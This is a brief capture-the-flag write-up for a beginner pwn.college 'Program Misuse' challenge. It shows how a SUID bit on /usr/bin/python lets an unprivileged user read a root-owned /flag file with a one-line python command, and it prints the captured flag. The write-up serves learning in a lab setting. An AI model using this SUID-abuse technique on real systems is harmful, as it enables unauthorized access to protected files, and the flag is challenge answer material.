Challenge Name: python
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/python, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/python
Output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/python
- The
sin-rwsindicates itβs a SUID binary. pythonruns with root privileges.
π Exploitation
We can simply use python to open and read contents of /flag to reveal the flag
python -c 'print(open("/flag").read())'
Output:
pwn.college{AQMckT_nE44QxyTRplhesZU7x-T.dRDOxwSM0IzMyEzW}